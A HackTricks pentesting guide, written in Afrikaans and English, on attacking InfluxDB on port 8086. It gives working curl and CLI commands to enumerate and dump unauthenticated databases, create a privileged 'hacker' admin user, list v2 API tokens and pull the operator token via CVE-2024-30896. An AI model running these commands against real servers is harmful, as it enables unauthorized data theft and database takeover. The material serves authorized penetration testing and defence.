8086 - Pentesting InfluxDB
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
InfluxDB is ’n oopbron tydreeks-databasis (TSDB) ontwikkel deur InfluxData. TSDB’s is geoptimaliseer vir die berging en bediening van tydreeksdata, wat uit tydstempel-waarde pare bestaan. In vergelyking met algemene doeleindes-databasisse, bied TSDB’s beduidende verbeterings in bergingsruimte en prestasie vir tydreeks-datastelle. Hulle gebruik gespesialiseerde kompressie-algoritmes en kan gekonfigureer word om outomaties ou data te verwyder. Gespesialiseerde databasisindekse verbeter ook navraagprestasie.
Standaardpoort: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
Identifiseer & Weergawe (HTTP)
- v1.x:
GET /pinggee status 204 terug en headers soosX-Influxdb-VersionenX-Influxdb-Build. - v2.x+:
GET /healthgee JSON terug met die serverweergawe en status. Werk sonder auth.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Wenk: blootgestelde instansies bedien dikwels ook Prometheus-style metrics by /metrics.
Enumeration
Van ’n pentester se oogpunt is dit nog ’n databasis wat sensitiewe inligting kan stoor, so dit is interessant om te weet hoe om al die info te dump.
Authentication
InfluxDB mag authentication vereis, of dit mag nie nodig wees nie.
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
As jy ’n fout soos hierdie kry: ERR: unable to parse authentication credentials beteken dit dat dit sekere credentials verwag
influx –username influx –password influx_pass
Daar was ’n kwesbaarheid in influxdb wat toegelaat het om die authentication te omseil: CVE-2019-20933
Handmatige Enumerasie (v1 HTTP API / InfluxQL)
Selfs wanneer geen CLI beskikbaar is nie, is die HTTP API gewoonlik op port 8086 beskikbaar.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
In sommige toetsing met die authentication bypass is opgemerk dat die naam van die tabel tussen dubbele aanhalingstekens moes wees soos:
select * from "cpu"
Indien authentication gedeaktiveer is, kan jy selfs create users en escalate:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
Die inligting van die volgende CLI-voorbeeld is geneem van here.
Wys databasisse
Die gevonde databasisse is telegraf en internal (jy sal hierdie een oral vind)
> show databases
name: databases
name
----
telegraf
_internal
Wys tables/measurements
Die InfluxDB documentation verduidelik dat measurements in InfluxDB met SQL-tabelle vergelyk kan word. Die benaming van hierdie measurements dui op hul onderskeie inhoud; elk huisves data wat relevant is vir ’n bepaalde entiteit.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
Wys kolomme/veldsleutels
Die veldsleutels is soos die kolomme van die databasis
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Tabel
En uiteindelik kan jy dump the table deur iets soos die volgende te doen:
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x introduceer token-based auth en ’n nuwe API (nog steeds standaard op 8086). As jy ’n token bekom (leaked logs, default deployments, backups) kan jy die volgende opnoem:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
Aantekeninge
- Vir v1.8+ bestaan sommige v2-kompatibele endpoints (
/api/v2/query,/api/v2/write,/health). Dit is nuttig as die server v1 is maar v2-styl versoeke aanvaar. - In v2 moet die HTTP
Authorizationheader in die vormToken <value>wees.
Outomatiese Enumerasie
msf6 > use auxiliary/scanner/http/influxdb_enum
Onlangse vulns en privesc van belang (laaste jare)
- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Onder spesifieke omstandighede kon ’n geauthentiseerde gebruiker met lees-toegang tot die authorization resource in die standaard-organisasie die instance-wide operator token lys en terughaal (bv. via
influx auth lsofGET /api/v2/authorizations). Met daardie token kan die aanvaller die instansie administrer (buckets, tokens, users) en toegang kry tot alle data oor orgs. Upgrade na ’n gefikste build wanneer beskikbaar en vermy om gewone gebruikers in die standaard org te plaas. Vinnige toets:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- Baie ouer 1.x-implementasies stel steeds
/queryen/writeonbeveilig en sonder auth op die Internet bloot. As auth gedeaktiveer is, kan jy tydreeksdata dump of selfs wysig soos jy wil; jy kan ook admin users skep soos hierbo getoon. Verifieer altyd met die HTTP API selfs al blokkeer die CLI jou.
Verwysings
- InfluxData-dokumentasie: InfluxDB v1/v2 HTTP API verwysing (endpunte soos
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896 operator token blootstelling in InfluxDB OSS 2.x. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


